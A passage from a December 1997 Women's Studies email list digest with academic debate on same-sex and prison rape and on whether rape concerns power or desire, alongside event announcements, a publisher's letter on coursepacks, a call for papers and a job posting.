be an implication that gay or homosexual men don't rape, and that the men who use sex for ""power-related reasons"" are necessarily not gay or homosexual, i.e., are necessarily heterosexual. Is this what you meant to say and, if so, I wonder what evidence there is for this in the case of men in prison. ====================== Daphne.Patai@spanport.umass.edu ========================================================================= Date: Tue, 16 Dec 1997 15:45:05 EST Reply-To: Women's Studies List Sender: Women's Studies List From: CLRPDC Organization: AOL (http://www.aol.com) Subject: Roe Turns 25: Blackmun Lecture on Privacy Satellite Teleconference Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Center for Reproductive Law and Policy 1146 19th Street, NW Washington, DC 20036 Ph- 202-530-2975 Fax- 202-530-2976 To: Women Studies Professors Fr: Amber Khan, CRLP Re: 25th Anniversary of Roe v. Wade Satellite Teleconference The Center for Reproductive Law and Policy would like to invite your school to participate in an exciting teleconference that will mark our second annual Blackmun Lecture on Privacy. On Wednesday, January 21, 1998 the program ""Roe Turns 25"" will be broadcast live via satellite from 3 - 4:30 p.m. Eastern Standard Time on a ""C"" band satellite. The goal of Roe Turns 25 is to engage the next generation of legal advocates in a conversation about the constitutional and American values embodied in Roe v. Wade; to discuss the historical events that led to the decision; and to analyze the Court's rulings since the decision. Justice Harry Blackmun will be participating, making it a truly historical event. The broadcast will be interactive with four law schools -- New York University School of Law, the University of Chicago Law School, Stanford Law School, and Emory University School of Law, where participants will be able to ask questions during the panel discussion. In addition to these schools, to date over 35 universities and law schools around the country will view the program live via satellite. (The progarm will also be broadcast on the American Law Network.) The program will feature Justice Harry Blackmun and a panel discussion with experts including CRLP founder and president Janet Benshoof, Emory University Professor of Law David Garrow, and American Public Heath Association past-president Dr. Helen Rodriguez-Trias. The program will be moderated by journalist and writer Anna Quindlen. Following the broadcast, several schools are organizing panels featuring local experts to respond to the points made in the program and to give participants an opportunity to ask questions. The first step in bringing this program to your campus is determining your satellite downlinking capabilitiy. Once you have confirmed that your school is able to downlink the program, you need to reserve a room that can view this feed (usually on a projection screen with audio). After the room has been reserved, start promoting the event to professors and student groups that would have an interest. Another way to build turn-out is to organize a local panel of experts to respond after the program. If for some reason your school is able to receive the satellite feed but cannot broadcast the feed live into a room that is available, you can request permission from the Center to tape the program and show the tape later. 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In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Antonia's line On Tue, 16 Dec 1997, Joyce Altobelli wrote: > Hi everyone -- I'm trying to think of the name of the movie that came out > a year or two ago, foreign language film, a sort of cynical follow-up to > ""A Question of Silence"" (by the same film maker), about a woman who > returns, with her adult daughter, to her home village just as her mother > is dying. I say it is a cynical follow-up because the woman who made the > both films said that the second one was basically an expression of her > giving up on the possibility of radical change. > > So, can anybody out there name that movie? I'm trying to give the title > to someone else to possibly include in a course, and it is driving me nuts. > > Thanks for any help! > > Joyce Altobelli > Cornell University > jga2@cornell.edu > ========================================================================= Date: Tue, 16 Dec 1997 19:48:50 -0600 Reply-To: Sara Tucker Sender: Women's Studies List From: Sara Tucker Subject: seeking recommendation on civic women program series MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I write to ask advice, especially for a possible kick-off speaker, for a series of programs my university is planning for September 1998 here in Topeka, Kansas. We are now in the process of writing a Humanities grant to fund a series of 5 2-hour discussion programs, all focusing on the changing roles of women in local civic activities. Basically, the idea is to bring together the whole spectrum of women currently involved in any kind of voluntary civic behavior, and talk about women's past, current, and future roles in civic activities. For our kickoff program, we would like to find a well-established academic who studies American women's changing civic roles (preferably including a sense of likely future directions), and who is also an effective public speaker. As of now, we are thinking of about a $1500 speakers fee, plus travel expenses, for the person brought in to kick off the series. If s/he would also be willing to speak to some classes or community groups the day of the presentation, we can probably add about $500 more from campus lecture funds. I will be grateful for all recommendations of possible speakers, either sent to the list, or to me personally at: zztuck@washburn.edu I also would very much like to hear any other recommendations or comments any of you might make on this topic, especially from any one with experience with this kind of program. I'm also looking for recommended readings on the topic, particularly ones suitable for a list to be given out to the general public (short, readable, etc). With thanks in advance, Sara W. Tucker e-mail: zztuck@washburn.edu Professor of History fax: (785) 231-1084 Washburn University voice: (785) 231-1010 x 1319 Topeka, Kansas 66621 H-Teach Co-Editor: hteach@washburn.edu ========================================================================= Date: Tue, 16 Dec 1997 22:30:15 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: stacey meadow Subject: Re: lesbian rapes In-Reply-To: <3.0.1.32.19971215181720.00734d74@shrike.depaul.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I too have a problem with the idea of generalizing rape statistics from a sample of violent offenders. There is some good literature on female same-sex battering out there. Here ia a very good title. NAMING THE VIOLENCE: Speaking Out About Lesbian Battering Sorry - have forgotten the author, but there is also a reference section in the back. ************************************************************************* Stacey Meadow Barnard College sm445@columbia.edu Women'sStudies/Psychology ************************************************************************* ========================================================================= Date: Tue, 16 Dec 1997 23:25:30 EST Reply-To: Women's Studies List Sender: Women's Studies List From: FLORENCH Organization: AOL (http://www.aol.com) Subject: Fwd: Coursepacks and Small Presses Mime-Version: 1.0 Content-type: multipart/mixed; boundary=""part0_882332731_boundary"" This is a multi-part message in MIME format. --part0_882332731_boundary Content-ID: <0_882332731@inet_out.mail.aol.com.1> Content-type: text/plain; charset=US-ASCII Dear Friiends: This is the letter I tried to describe to some of you. Sara Cahill is an editor at The Feminist Press. She typed this out for all of us. I am very grateful to her, and perhaps it will make clearer what I and others have been trying to talk about for a week or so. Cheers. Florence Howe (florench@aol.com) --part0_882332731_boundary Content-ID: <0_882332731@inet_out.mail.aol.com.2> Content-type: message/rfc822 Content-transfer-encoding: 7bit Content-disposition: inline Return-Path: Received: from relay29.mail.aol.com (relay29.mail.aol.com [172.31.109.29]) by air18.mail.aol.com (v37.2) with SMTP; Tue, 16 Dec 1997 00:19:13 -0500 Received: from UPIMSRGSMTP09 (upimsrgsmtp09.msn.com [207.68.152.53]) by relay29.mail.aol.com (8.8.5/8.8.5/AOL-4.0.0) with ESMTP id UAA02596 for ; Mon, 15 Dec 1997 20:54:29 -0500 (EST) Received: from upmajb08 - 204.95.110.71 by msn.com with Microsoft SMTPSVC; Mon, 15 Dec 1997 17:53:59 -0800 Date: Tue, 16 Dec 97 01:49:08 UT From: ""Sara Cahill"" Message-Id: To: ""Florence Howe"" Subject: Coursepacks and Small Presses Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Florence, If you could forward this to the women's studies mailing list, I'd appreciate it. Thanks. An Urgent Letter to the Academic Community: How Coursepacks and Photocopying Affect Small Presses Dear Faculty and Students: We know from copy centers and custom coursepack providers that our texts remain a vital and integral part of your courses--not only women's studies courses but also courses on literature, teaching, history, cultural and American studies. We thank you for using our work but feel compelled to explain how using photocopied versions of our work impacts on us financially. We are writing to urge you, whenever possible, to assign and buy books. Small not-for-profit publishers like The Feminist Press struggle to make ends meet. The last decade has seen an industry-wide decline in sales of books for course use; among those who have been hit hardest by this decline have been the small presses. One of the factors that has contributed to declining book sales is the increased prevalence of coursepacks. Over the past two years we have seen a dramatic increase not only in photocopy permission requests but also in the amount of material that is being copied. We have had to rethink our permission and reprint policy to protect and to better serve the interests of the press and its authors. We cannot allow substantial or central parts of our texts to be copied. Such large grants of permission undercut sales of our books. In the end they also do not seem in the students best interests. When copy charges are added to the royalty that publishers charge, purchasing the book is nearly as affordable--or even more affordable. Purchasing also gives students the added satisfaction of owning a nicely bound, durable book, with all the context material that Feminist Press editions typically include. We believe that if faculty members were to carefully consider these costs and other factors, they might more often choose to assign complete texts whenever possible. What can you do to help? Buy books! The best way to support and ensure the survival of small presses is to buy our books and assign them in your courses. Such support will enable presses like The Feminist Press to continue to publish less commercial books, and, over the years, will also enable us to keep these books available and affordable. The founding of The Feminist Press was inspired by the need for a wider range of important books by women for use as classroom texts. We can continue to survive and grow only as long as the market for our books endures. Please share this news with your colleagues. If you're a teacher, impress upon your students that, by buying books, they are supporting a small press, and that the purchase of such books does have a direct effect on publishing--and the future of independent presses and what we can publish. And stay in touch. Let us know how you teach and with what supplements. Let us know what materials might be added to help teach about our work. We welcome your input, and rely on your support. With thanks. The Staff of The Feminist Press The Feminist Press at CUNY City College Wingate Hall Convent Avenue at 138th Street New York, NY 10031 --part0_882332731_boundary-- ========================================================================= Date: Tue, 16 Dec 1997 23:39:15 EST Reply-To: Women's Studies List Sender: Women's Studies List From: FLORENCH Organization: AOL (http://www.aol.com) Subject: Fwd: Call for Papers: Women and the Environment Mime-Version: 1.0 Content-type: multipart/mixed; boundary=""part0_882333560_boundary"" This is a multi-part message in MIME format. --part0_882333560_boundary Content-ID: <0_882333560@inet_out.mail.aol.com.1> Content-type: text/plain; charset=US-ASCII Dear List: I know this will be useful information for one and all. Cheers. Florence Howe (florench@aol.com) --part0_882333560_boundary Content-ID: <0_882333560@inet_out.mail.aol.com.2> Content-type: message/rfc822 Content-transfer-encoding: 7bit Content-disposition: inline Return-Path: Received: from relay10.mail.aol.com (relay10.mail.aol.com [172.31.109.10]) by air12.mail.aol.com (v37.2) with SMTP; Mon, 15 Dec 1997 21:56:06 -0500 Received: from UPIMSRGSMTP09 (upimsrgsmtp09.msn.com [207.68.152.53]) by relay10.mail.aol.com (8.8.5/8.8.5/AOL-4.0.0) with ESMTP id UAA08868 for ; Mon, 15 Dec 1997 20:54:22 -0500 (EST) Received: from upmajb06 - 204.95.110.89 by msn.com with Microsoft SMTPSVC; Mon, 15 Dec 1997 17:53:36 -0800 Date: Tue, 16 Dec 97 03:26:57 UT From: ""Sara Cahill"" Message-Id: To: ""Florence Howe"" Subject: Call for Papers: Women and the Environment Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Florence, If you could forward this to the women's studies listserve, I'd really appreciate it. Thanks. WOMEN'S STUDIES QUARTERLY An Educational Project of The Feminist Press at The City University of New York in Cooperation with Rochester Institute of Technology Call for Papers Women and the Environment Edited by Diane Hope and Vandana Shiva Since 1972 Women's Studies Quarterly has been the leading journal on teaching in women's studies. Thematic issues feature vital material for specialists and generalists alike, including the most recent scholarship available in jargon-free language; classroom aids such as course syllabi; discussions of strategies for teaching; and up-to-date, complete bibliographies as well as hard-to-find or never-before-published documents and literary materials. The intersections of race and class with gender are of special concern, as are international perspectives. Women's Studies Quarterly is now inviting submissions for a special spring/summer 2000 issue on Women and the Environment. Articles, syllabi, pedagogical essays, bibliographies, biographies, fiction, poetry, and black-and-white art are welcome. Suggested areas of focus include, but are not limited to, feminist analysis of environmental issues; collective and individual work by women on environmental problems and solutions; reports of environmental issues with particular impact on women; biographical sketches; personal stories; conference and organizational reports; and relevant artwork. Manuscripts primarily focused on issues most pertinent to the United States should be sent to Professor Diane Hope, Rochester Institute of Technology, College of Liberal Arts, 92 Lomb Memorial Drive, Rochester, NY 14623. Manuscripts international in scope should be sent to Vandana Shiva, Director, Research Foundation for Science, Technology and Ecology, A 60 hauz khas, New Delhi, 110 016, India; fax 91-11-6856795 and 4626696. Deadline for submissions is November 30, 1998. For more information or for more detailed submission guidelines write to Diane Hope or e-mail her at dshgpt@rit.edu. --part0_882333560_boundary-- ========================================================================= Date: Wed, 17 Dec 1997 00:06:41 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: liora moriel Subject: Re: lesbian rapes In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I find myself agreeing with Daphne Patai on this one: sloppy research does nobody any good. Generalizations are deadly. But while I believe that rape is a power&control, not a sex thing, and this goes for rapists of any gender and orientation, I frankly have a hard time extrapolating from prison rape to (for lack of a better term) in-the- community rape. And I have an even harder time accepting ""rape"" and ""battering"" as synonymous--again, no matter what the gender and orientation of those involved. Once we get the terminology down, maybe we can proceed with the methodology... Liora Moriel Comparative Literature Program University of Maryland 2107 Susquehanna Hall College Park, MD 20742-8825 lioram@wam.umd.edu ""We have cooperated for a very long time in the maintenance of our own invisibility. And now the party is over."" - Vito Russo ========================================================================= Date: Wed, 17 Dec 1997 08:57:38 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""John C. Berg"" Subject: rape and prison In-Reply-To: <199712162102.QAA24115@emily.oit.umass.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In response to Daphne Patai's question, I have no systematic evidence, but can report anecdotally. In 1970, as the result of an anti-war demonstration, I got the chance to spend several months in prison and observe the prison culture first-hand. On the basis of that experience, I can report that, among the veteran inmate population, at least, men who raped other men did not consider _themselves_ gay, but considered those whom they raped to be gay. It seemed to me at the time that this was a way of easing the cognitive dissonance between homophobia and sexual desire in a same-sex environment. (I doubt if 'desire' is the right word there, but am too rushed to think of a better one). John C. Berg jberg@acad.suffolk.edu Department of Government Tel: +617-573-8126 Suffolk University Fax: +617-367-5762 Boston, Massachusetts 02108-2770 Please Note New Fax!! U.S.A. ========================================================================= Date: Wed, 17 Dec 1997 14:00:06 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Nancy Knipe Subject: Job Posting: Directory of Women's Studies MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=ISO-8859-1 Content-transfer-encoding: QUOTED-PRINTABLE > The Colorado College > Director of Women's Studies > =09Tenure-track position at the Assistant Professor level, > beginning August, 1998. Ph.D required. Discipline open, but the > successful candidate will have primary commitment to Women's Studie= s. > Evidence of teaching excellence required. Duties include teaching > core Women's Studies courses as well as advanced courses in area of > specialization; supervising senior projects of Women's Studies majo= rs > and minors; and administering the Women's Studies program. =20 > =09Colorado College is a small, private, liberal arts college > distinctive for its modular calendar in which students take and > faculty teach one course at a time. Women's Studies is an establis= hed > program at the College, with about 35 faculty members participating= , > drawn equally from all three academic divisions. We offer > approximately 30 courses a year, most cross-listed with other > departments. The Women's Studies major is in its second year; this > year we will graduate four majors and 13 minors. (For more > information see http://www.cc.colorado.edu/Dept/WS.) The Director > functions as a department chair for the program, reports to the Dea= n, > and is supervised by a committee of program faculty. The Program i= s > particularly interested in candidates who can address the perspecti= ves > of American-ethnic minorities, and make the Program more welcoming = to > women of color. =20 > =09 > Send letter of application, r=E9sum=E9, three letters of recommenda= tion, > and teaching materials to: > Kathy Merrill, Search Committee Chair > Mathematics Department > Colorado College > 14 E. Cache La Poudre St. > Colorado Springs, CO 80903 >=20 Review of applications will begin February 1, 1998. >=20 For questions and further information, contact kmerrill@cc.colorado.= edu > Colorado College is an Equal Opportunity Employer and reaffirms its > commitment not to discriminate on the basis of race, color, age, > religion, sex, national origin, sexual orientation, or disability i= n > its educational program, activities or employment policies. >=20 > =20 >=20 =20 NKNIPE@cc.colorado.edu ========================================================================= Date: Wed, 17 Dec 1997 18:44:24 -0500 Reply-To: Maria Bevacqua Sender: Women's Studies List From: Maria Bevacqua Subject: Re: lesbian rapes In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 16 Dec 1997, stacey meadow wrote: > I too have a problem with the idea of generalizing rape statistics from a > sample of violent offenders. There is some good literature on female > same-sex battering out there. Here ia a very good title. > > NAMING THE VIOLENCE: Speaking Out > About Lesbian Battering > I don't mean to single Stacey out, but I just wanted to let the entire list know that my original query was for books, articles, videos, brochures, etc. that addressed the issue of lesbians who are raped by other lesbians. The therapist at the local rape crisis center asked me for materials that might help a client who has been in this situation, a lesbian acquaintance rape. I didn't mean for this to turn into a discussion of statistics, samples, etc. I also noted that the therapist and I have all the resources on lesbian relationship violence that we needed. The rape in question did not take place in a relationship context. Moreover, (re: Daphne Patai's post) anyone who would suggest that lesbians or gay men cannot/do not rape is just not in touch with the research and the information gathered at rape crisis centers, etc. I am gathering from the paucity of resources that lesbian-on-lesbian rape (for lack of a better term) is an unexplored area of study/resource building. This would be a fruitful area for new research. Am I wrong? Thanks to everyone who has replied. Cheers, Maria Bevacqua, Ph.D. mbevacq@emory.edu ========================================================================= Date: Wed, 17 Dec 1997 15:05:30 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Carol Seajay Subject: Re: rape and prison Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" At 08:57 AM 12/17/97 -0500 John Berg wrote: >In response to Daphne Patai's question, I have no systematic evidence, but >can report anecdotally. In 1970, as the result of an anti-war >demonstration, I got the chance to spend several months in prison and >observe the prison culture first-hand. On the basis of that experience, I >can report that, among the veteran inmate population, at least, men who >raped other men did not consider _themselves_ gay, but considered those >whom they raped to be gay. It seemed to me at the time that this was a >way of easing the cognitive dissonance between homophobia and sexual >desire in a same-sex environment. (I doubt if 'desire' is the right word >there, but am too rushed to think of a better one). Exactly. To add my two cents worth, I also think it is very dangerous to label rape of men by men as ""gay"" rape. Rape, as is well documented, is a crime of power, not of sexuality or desire. What I've read of prison rape often makes the same distinction that John Berg makes, above. In prisons, as well as other enforced sex-segregated situations (such as the military). My father's descriptions of rape in the Navy (during WWII on ships in the Pacific) also verifies this pattern. In the situations he described, neither perpetrators nor victims were anything but avowedly heterosexual. It was simply (sorry, now that's the wrong word!) a matter of horny men with power getting their rocks off on anyone they could overpower. In non-sex segregated situations, the chosen victim is usually female. When there are no women available (ie prisons, military) a man ""of less power"" (ie, smaller, slender, less ""masculine"", or simply lacking membership in a gang for protection) is used. In both situations, the one who is raped is despised and is then further victimized by the stigma of having been raped. In women, that's the women who are then labeled whores, driven from homes or villages, and/or punished by family and society. As John points out, male victims of rape in the prison he experienced are ""considered to be gay"". But this use of the word ""gay"" is a condemnation, an intended insult and a further victimization, not a self-identification. It is inappropriate to consider male victims of rape to be ""gay"" unless they so self-identify. (And, even if they do self-identify as gay in other situations, I would question the motive or value in identifying the victims as gay. ie, is there an implication that it's more ""OK"" to rape a gay man than a straight man or that gays are somehow inclined to rape/be raped, etc..) To call power-rape among men, or to label the victims of the same as ""gay"" is totally inappropriate. Further, it contributes to the stereotyper that gay people are rapists (and from there it's only a small step to the stereotype that gay people are child-abusers.) All of which is very costly to our society. I would also add that the common-culture usage of ""gay"" to describe male/male rape misplaces a tremendous amount of anger on gay men and on lesbians. I would very much like to see some study of the effects of this and if/when/how it results in ""random"" violence against gay men and lesbians, for example By the same token, I am also very concerned about the bandying about of the concept ""lesbian rape."" I hope that the appropriate analysis of power (and lack of) are being addressed by people looking at this subject. In fact, I'm a bit confused by this discussion. Are we talking documented cases, looking for research, or wondering if it happens? Again, my question is, are we talking same-sex rape or something that occurs between two lesbians that might appropriately be described as-rape in which ""lesbian"" is a descriptive characteristic of perpetrators or victims, rather than as an adjective to the crime? I apologize if I'm going off inappropriate on this whole topic. I don't mean to suggest that gay men never rape other gay men, nor that sexual abuse and power crimes cannot occur between lesbian or other women, or that this research should not be discussed on the list. But I do think that care must be taken not to contribute to anti-gay stereotypes in the course of researching and discussing male violence against other men or violence among women. To speak personally to this topic, my father's hatred of all things gay was quite explicitly rooted in his experience in WWII on Navy ships either seeing friends be raped or, quite possibly, of having been raped himself, and learning to define this experience of male violence as ""gay."" It was an anger and a prejudice that lasted for four decades and, to say the least, it was not pretty. It was acted-out upon many, many gay people, probably hundreds, as well as at least a few straight people, over those decades, including immediate family. The long-term consequences of labeling male to male rape as ""gay"", in at least this one situation, were very far-reaching and significant. As I said earlier , I would very much like to see research on the consequences generated by this mis-naming. Carol Seajay Feminist Bookstore News PO Box 882554 San Francisco, Ca 94188 *** Note new phone & fax 3/97 ****** phone: 415-642-9993 fax: 415-642-9995 seajay@dnai.com ========================================================================= Date: Wed, 17 Dec 1997 20:23:27 +0000 Reply-To: Women's Studies List Sender: Women's Studies List Comments: Authenticated sender is From: Kelley Crouse Subject: Rape and sexuality (was Re: rape and prison) In-Reply-To: <2.2.16.19971217150705.4b078cc4@dnai.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT On 17 Dec 97 at 15:05, Carol Seajay wrote: > Exactly. > To add my two cents worth, I also think it is very dangerous to > label rape of men by men as ""gay"" rape. Rape, as is well documented, > is a crime of power, not of sexuality or desire. Well this has always been a concern of mine, this distinction between sexuality/desire and power. I hope someone can clear it up for me or, at least, give me some thoughts to mull over. Why, if rape is not about sexuality/desire, is it that people rape others rather than, say, beating them up? I assume that the rapist wouldn't get the same 'satisfaction' (can't think of a better word). It just seems to me that rape as a form over exercising power and domination over another person is, at the very least, bound up with sexual desire in some rather significant ways. I don't know where I stand on this issue and, certainly, for educative purposes, I'd rather make a strategic distinction between sexuality and power. I would also be interested in the documentation you refer to--things to add to my ""I'll read this someday"" list :-) Kelley Kelley Crouse Hobart & William Smith Colleges Department of Sociology 311 Trinity Hall Geneva, New York 14456 ========================================================================= Date: Wed, 17 Dec 1997 17:18:39 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Cat Farrar Subject: Re: rape and prison Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Carol Seajay wrote: >Exactly. >To add my two cents worth, I also think it is very dangerous to label rape >of men by men as ""gay"" rape. Rape, as is well documented, is a crime of >power, not of sexuality or desire. > I understand what men and women mean when they say that rape is a crime of power, but I don't understand how that rules out sexuality or desire? Why do so many feminists acknowledge the power issues and discount (can't think of a better term at the moment) the sexual aspects? Any book recommendations on feminists who hold the same views as me? I would guess Andrea Dworkin might not seperate out the power issues from the sexual issues, but I'm not sure. Cat Farrar cat@cfmc.com ~Cat Farrar ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ""Gender is a lived ideology...that becomes EMBODIED because it is enforced."" ~Martha McCaughey Real Knockouts - The Physical Feminism of Women's Self-Defense ========================================================================= Date: Thu, 18 Dec 1997 06:50:35 -0500 Reply-To: sandyl@nervm.nerdc.ufl.edu Sender: Women's Studies List From: Sandra Lorean Organization: University of Florida Subject: Re: lesbian rapes MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit liora moriel wrote: > > But while I believe that rape is a power&control, not a sex thing, and > this goes for rapists of any gender and orientation, ... Hi all, I don't think we can so easily (nor do I think it is productive to) separate ""power&control"" from the ""sex thing"" when talking about rape. It is my understanding that when heterosexual men rape women, power and control (even violence and the desire to humiliate and terrify) are eroticized, that this is fundamental to the turn-on (and the reward of rape), and therefore, in the case of heterosexual rape, cannot be separated from the sex act, or the desire and eroticism the attacker maybe ""enjoying"" by exercising power and control. (Diana Scully: ""Understanding Sexual Violence: a Study of Convicted Rapists. 1990"") That ""power"" and ""dominance"" is also eroticized and often part of the sexual ""play"" in consensual heterosexual relationsions helps to confuse the line between date-rape and consensual sex. In some cases it may be a case of inexcusably poor communication skills. In other cases it may be the man is ""pretending"" to misunderstand, while ""getting off"" on overpowering his ""date."" I haven't read any of the research on male on male prison rape, but it seems like a fair guess that if cultural and personal misogyny feeds into the erotization of male on female rape, then maybe cultural and personal homophobia could feed into the erotization of male on male rape. (After all, if the rapist claims to be an otherwise heterosexual man, not turned on by men, how does he explain the erection with which he raped his victim unless he is sexually aroused by raping? In this case he is aroused by the raping, overpowering, hurting and humiliating of a man he perceives to be ""gay."") I originally became interested in this string of posts because I find it so difficult to imagine a woman raping a woman (of any orientation.) The erotization of power and control is pretty much monopolized by men and masculinity in our culture. Lesbian butchness may look like masculinity, but it is not masculinity. It just doesn't operate the same. Jaime Grant mentioned the prevalence of heterosexually identified men raping and sexually abusing boys, and I think two more things should be clarified here. 1. Women rarely perpetrate sexualized violence against children. In the rare cases that a woman is the perpetrator in incest cases (2% - 4%), she is almost always very, very mentally disturbed. It makes sense to me we could also expect to find a very low prevalence of female adult sexual violence. 2. A homosexual act does not a homosexual person make. :) A male raping a male may be a homo sexual violent act, but that does not make either of the two men gay identified, nor does the act implicate any ""gay cultural problems."" Woman on woman sexual violence may happen, but we should be careful think about the how they sexually identify. There _may_ be some ""lesbian"" rape in lesbian domestic violence situations, but I wouldn't call a woman on woman sexual assault in prison or ""on the outside"" lesbian rape if the perpetrator was a heterosexually identified woman. Sandy Lorean ========================================================================= Date: Wed, 17 Dec 1997 19:15:36 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Miriam Subject: Re: rape and prison Comments: To: Cat Farrar In-Reply-To: <199712180118.RAA18001@main.cfmc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Yes, Andrea Dworkin and Catharine MacKinnon both argue that rape is about sexuality as a form of violence. I understand the strategic distinction in a context where feminists were trying to argue that rape was not about men's unbridled desire. However, the separation of rape as power from sexuality assumes that there is some ""real"" sexuality that exists apart from various social forms, both good and bad. Kathy Miriam kmiriam@cats.ucsc.edu On Wed, 17 Dec 1997, Cat Farrar wrote: > Carol Seajay wrote: > > >Exactly. > >To add my two cents worth, I also think it is very dangerous to label rape > >of men by men as ""gay"" rape. Rape, as is well documented, is a crime of > >power, not of sexuality or desire. > > > I understand what men and women mean when they say that rape is a crime of > power, but I don't understand how that rules out sexuality or desire? Why > do so many feminists acknowledge the power issues and discount (can't think > of a better term at the moment) the sexual aspects? > > Any book recommendations on feminists who hold the same views as me? I > would guess Andrea Dworkin might not seperate out the power issues from the > sexual issues, but I'm not sure. > > Cat Farrar > cat@cfmc.com > > > > > ~Cat Farrar > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > ""Gender is a lived ideology...that becomes EMBODIED because it is enforced."" > > ~Martha McCaughey > Real Knockouts - The Physical Feminism of Women's Self-Defense ========================================================================= Date: Wed, 17 Dec 1997 20:36:04 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: DAPHNE PATAI Subject: rape and desire Comments: cc: DAPHNE PATAI In-Reply-To: <2.2.16.19971217150705.4b078cc4@dnai.com> MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Carol comments that it's ""well documented"" that rape is about ""power, not desire."" Of course we have all ""known"" this, and heard it declared as axiomatic, for well over 20 years now. But, nonetheless, I wonder how an interpretation, an imputation of attitude or psychological states, can be ""documented"" simply as if it were an empirical fact. That rape may sometimes be about power, especially in situations such as prisons, I have no trouble believing. That it may also be about revenge, hatred, fury, whatever, I also accept. But that it is, by definition, always about power and never about desire, that I can't help doubting. I don't know of too many human actions that can so simply and categorically be attributed to one and only one motivation, especially when that motivation--in this case the word ""power""--in fact involves layers of complexity, as, indeed, does the word desire. The interesting question then becomes: what has this particular interpretation, once it becomes an orthodoxy, do for the young women who learn it through women's studies courses? What does it do for feminism? What is its function? What does it help us accomplish? And at what cost?-- ====================== Daphne.Patai@spanport.umass.edu ========================================================================= Date: Wed, 17 Dec 1997 23:06:43 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: Re: rape and power (was rape and prison) Comments: To: Kelley Crouse In-Reply-To: <199712180151.UAA11005@syr.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I appreciate the distinction made here about the difference between sexuality/rape and power/domination. It seems important to call rape in any situation a need to dominate, manipulate, and control, and to reclaim the term power for what it really means -- to have ability, potential. As long as we continue to interchange the terms power with control/ dominance/ and manipulation, we will never be able to claim fully our own power or appreciate fully the potential of others. Peace, Jacqueline Haessly jacpeace@acs.stritch.edu Image Peace! On Wed, 17 Dec 1997, Kelley Crouse wrote: > On 17 Dec 97 at 15:05, Carol Seajay wrote: > > > Exactly. > > To add my two cents worth, I also think it is very dangerous to > > label rape of men by men as ""gay"" rape. Rape, as is well documented, > > is a crime of power, not of sexuality or desire. > > Well this has always been a concern of mine, this distinction between > sexuality/desire and power. I hope someone can clear it up for me > or, at least, give me some thoughts to mull over. Why, if rape is > not about sexuality/desire, is it that people rape others rather > than, say, beating them up? I assume that the rapist wouldn't get > the same 'satisfaction' (can't think of a better word). It just > seems to me that rape as a form over exercising power and domination > over another person is, at the very least, bound up with sexual > desire in some rather significant ways. I don't know where I stand > on this issue and, certainly, for educative purposes, I'd rather make > a strategic distinction between sexuality and power. I would also be > interested in the documentation you refer to--things to add to my > ""I'll read this someday"" list :-) > > Kelley > > > Kelley Crouse > Hobart & William Smith Colleges > Department of Sociology > 311 Trinity Hall > Geneva, New York 14456 > ========================================================================= Date: Thu, 18 Dec 1997 00:28:14 EST Reply-To: Women's Studies List Sender: Women's Studies List From: Glorandbil Organization: AOL (http://www.aol.com) Subject: Re: name that movie... Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit The movie is ""Antonio's Line"" and video stores rent it out now. It's an inspiring movie. Gloria Cowan glorandbil@aol.com ========================================================================= Date: Wed, 17 Dec 1997 13:50:04 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Rhoda Unger Subject: Passing MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Thanks for all the info on NOW although I still did not find out anything about work by Mary Payer after 1977. I have one more question which this community might find easier to deal with. I have read from time to time papers and books about interracial ""passing."" Does anyone know of an analysis of this process from the perspective of how one identifies oneself versus how others identify us? Thanks in advance. Rhoda Unger ========================================================================= Date: Thu, 18 Dec 1997 08:06:45 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Deborah Moreland moreland.utdallas.edu."" Subject: Re: rape and prison In-Reply-To: <199712180118.RAA18001@main.cfmc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On the issue of power and desire, Jessica Benjamin's *Bond of Love: Psychoanalysis, Feminism, and the Problem of Domination* provides some insights. While she interrogates the male/female domination/submission paradigms, she also discusses how desire acts as a lubricant (so to speak) in power relationships or expressions of power and submission. Deborah Moreland University of Texas at Dallas ========================================================================= Date: Thu, 18 Dec 1997 09:56:56 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: jeannie ludlow Subject: Re: ""lesbian"" rape In-Reply-To: <199712162102.QAA24115@emily.oit.umass.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; 